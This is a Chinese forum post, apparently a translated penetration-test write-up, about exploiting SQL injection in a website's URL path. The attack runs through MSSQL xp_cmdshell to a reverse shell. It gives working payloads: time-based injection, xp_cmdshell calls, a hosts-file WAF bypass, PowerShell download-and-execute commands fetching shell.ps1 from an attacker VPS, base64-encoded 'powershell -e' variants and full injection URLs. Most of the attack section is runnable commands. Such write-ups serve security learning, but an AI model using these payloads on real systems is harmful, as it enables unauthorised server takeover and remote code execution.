本帖最后由 wsw 于 2024-5-31 23:04 编辑
0x00 概括 不久前,我和我的朋友@Rakai、@Ardya Suryadinata、@hernowoadin偶然发现了一个有趣的漏洞并进行讨论,即网站URL路径上的SQL注入,我们称之为redacted.com。 我们尝试升级此SQL注入以获得反向shell,利用xp_cmdshell.有一些障碍,例如我们无法在执行的命令中输入斜杠“/”。然而,biidznillah,我们通过执行PowerShell编码的命令获得了shell。0x01 Burpsuite扫描结果 这一切都始于Burpsuite扫描的结果,该扫描在 /download/123/123 上显示SQL注入警报。它与通常的SQL注入不同,因为此SQLi注入位于设计用于下载文档的URL路径内。在问题详细信息中,Burpsuite使用了以下基于时间的SQL注入payload,应用程序响应时间为20074毫秒(20 秒),与仅花费2327毫秒(2 秒)的原始请求显着不同,这强烈表明Web容易受到基于时间的SQL注入的攻击。
- waitfor delay'0:0:20' ---> Respons : 20073 milisecond (20 second)
- original request ---> 2327 milisecond (2 second)
复制代码0x02 SQLMap(由于WAF而无法工作) 接下来,为了加快证明过程,我们开始尝试使用SQLMap来利用它,但没有成功,即使只是检索数据库名称。迹象表明该网站已受到Web应用程序防火墙 (WAF) 的保护。与此同时,也因为我们想要尝试尝试绕过其WAF之外的替代方案,所以我们决定手动尝试多个payloads有效负载。0x03 使用XP_CMDSHELL 由于目标使用Microsoft SQL Server,我们尝试使用xp_cmdshell执行命令。
xp_cmdshell -> 生成一个 Windows 命令 shell 并传入一个字符串以供执行。任何输出都以文本行的形式返回。 (来源:learn.microsoft.com)
xp_cmdshell是Microsoft SQL Server中的一个命令,用于在服务器上执行命令。默认情况下,此功能处于禁用状态。 为了确保xp_cmdshell已启用并且可以在目标上执行命令,我们尝试对虚拟专用服务器(VPS)的IP(165.1.2.123)执行ping命令。
- Payload:
- EXEC xp_cmdshell 'ping 165.1.2.123';--
- Injection URL :
- https://redacted.com/download/123/123 EXEC xp_cmdshell 'ping%20165.1.2.123';--
- URL Decoded :
- https://redacted.com/download/123/123%20EXEC%20xp_cmdshell%20'ping%20165.1.2.123'%3b--
复制代码 在我们的VPS上,我们使用tcpdump转储网络数据包来检测eth0接口上的任何传入Ping 请求 (ICMP)。是的!xp_cmdshell成功在目标上执行ping命令。根据上面的tcpdump结果,我们还获得了目标redacted.com的真实IP地址,即152.xxx.xxx.xxx。
0x04 使用真实IP绕过WAF 事先,SQLMap检测到目标网站前面可能存在WAF。我们通过 ping redacted.com 确认了这一点,发现ping被重定向到前缀为WAF -> waf123.redacted.com的子域
因此,为了绕过该WAF,我们可以通过编辑笔记本电脑上的hosts文件将redacted.com域直接定向到其原始IP地址152.xxx.xxx.xxx。 在Windows上,它通常位于
- C:/Windows/System32/drivers/etc/hosts
复制代码
然后我们再次尝试ping,以确保redacted.com可以绕过WAF,直接通过其原始IP地址进行访问。从那时起,到redacted.com的连接将直接定向到IP 152.xxx.xxx.xxx。
0x05 传递shell.ps1时的障碍 下一步,我们尝试利用此SQL注入来获取反向shell。首先,我们准备了一个PowerShell文件(.ps1),它将执行命令来建立与侦听器(反向 shell)的连接。 我们使用从powershell-reverse-shell.ps1获得的shell.ps1,如下所示:
- https://github.com/martinsohn/PowerShell-reverse-shell/blob/main/powershell-reverse-shell.ps1
复制代码将侦听器IP和端口更改为VPS IP地址165.1.2.123上的4447。然后我们在VPS Web服务器上托管此shell.ps1。
让我们在端口4447上设置侦听器。
接下来,我们需要在目标上运行命令来下载shell.ps1文件,然后执行它。因此,我们在xp_cmdshell上运行以下命令:
- powershell.exe -c iwr -Uri "http://165.1.2.123/shell.ps1"
复制代码 然而,我们遇到的障碍是注入位置在URL内,因此我们无法在xp_cmdshell执行的命令中输入斜杠/。每个斜杠/都会被检测为路径的一部分。因此,注射失败。编码形式的斜杠也是如此,例如 %2F。
在这个问题上苦苦挣扎了一段时间但仍未找到成功的解决方案后,我们尝试了多种方法。例如,我们尝试将shell.ps1作为VPS Web服务器上的索引,因此我们不需要斜杠 (/) 来下载它。但是,这种方法失败了,因为将其保存在服务器上的可写位置仍然需要斜杠(在 C:/Windows/TEMP/ 中)。我们还尝试了各种其他方法。
最终,在休息了一段时间后,Biidznillah,我想起了在准备OSCP考试的实验室练习中学到的东西。是的,我们可以以编码形式执行PowerShell命令。
0x06 Powershell编码命令 我们可以使用 powershell -e 选项以编码形式在PowerShell中运行命令。Powershell编码器可以通过以下链接访问:
- https://raw.githubusercontent.com/Javelinblog/PowerShell-Encoded-Commands-Tool/main/PowerShell.html
复制代码我们最初尝试运行的命令如下,但没有成功。
- ## Execute a remote script
- "IEX(New-Object System.Net.WebClient).DownloadString('http://165.1.2.123/shell.ps1')
复制代码上面的命令用于远程访问字符串,然后PowerShell将直接执行它。我们多次成功地与目标建立了shell连接,但几乎所有连接都不稳定,因为它们仍然依赖于Web服务器中的会话(因为注入是通过URL进行的),从而导致“504 Gateway Timeout”错误,并且shell已断开连接,根本无法在服务器上执行任何命令。 因此,我们将命令分为两部分: - 1.下载shell.ps1并将其保存到可写路径,在Windows上为 C:/Windows/TEMP/
- 2.执行命令运行shell.ps1
所以,我们执行的最终Payload如下:
- ##Download shell and saved to TEMP
- iwr -Uri "http://165.1.2.123/shell.ps1" -OutFile "$env:TEMP\shell.ps1";
- ## Execute the shell
- iex "$env:TEMP\shell.ps1"
复制代码 第一部分:
- iwr:这是PowerShell中Invoke-WebRequest cmdlet的简写别名。它用于向Web服务器发送HTTP和HTTPS请求并下载内容。
- -Uri “http://165.1.2.123/shell.ps1”:指定要下载的资源的统一资源标识符 (URI)。在本例中,它是位于指定URL的PowerShell脚本。
- -OutFile “$env:TEMP\shell.ps1”:指定下载内容的保存路径。
- $env:TEMP是Windows中的一个环境变量,指向当前用户的临时目录。下载的脚本将以文件名shell.ps1保存在该目录中。
第二部分:然后我们使用PowerShell EncodedCommand工具对命令进行编码。 因此,命令变为: - # Download shell
- EXEC xp_cmdshell 'powershell -e aQB3AHIAIAAtAFUAcgBpACAAIgBoAHQAdABwADoALwAvADEANgA1AC4AMQAuADIALgAxADIAMwAvAHMAaABlAGwAbAAuAHAAcwAxACIAIAAtAE8AdQB0AEYAaQBsAGUAIAAiACQAZQBuAHYAOgBUAEUATQBQAFwAcwBoAGUAbABsAC4AcABzADEAIgA7AA==';--
- # Execute shell
- EXEC xp_cmdshell 'powershell -e aQBlAHgAIAAiACQAZQBuAHYAOgBUAEUATQBQAFwAcwBoAGUAbABsAC4AcABzADEAIgA=';--
复制代码在执行下载的shell之前设置监听器 然后运行注入Payload来执行下载的shell.ps1,带有注入命令的完整URL如下所示:
- https://redacted.com/download/123/123%20EXEC%20xp_cmdshell%20'powershell.exe%20-e%20aQBlAHgAIAAiACQAZQBuAHYAOgBUAEUATQBQAFwAcwBoAGUAbABsAC4AcABzADEAIgA='%3b--
复制代码Shell 来了!
|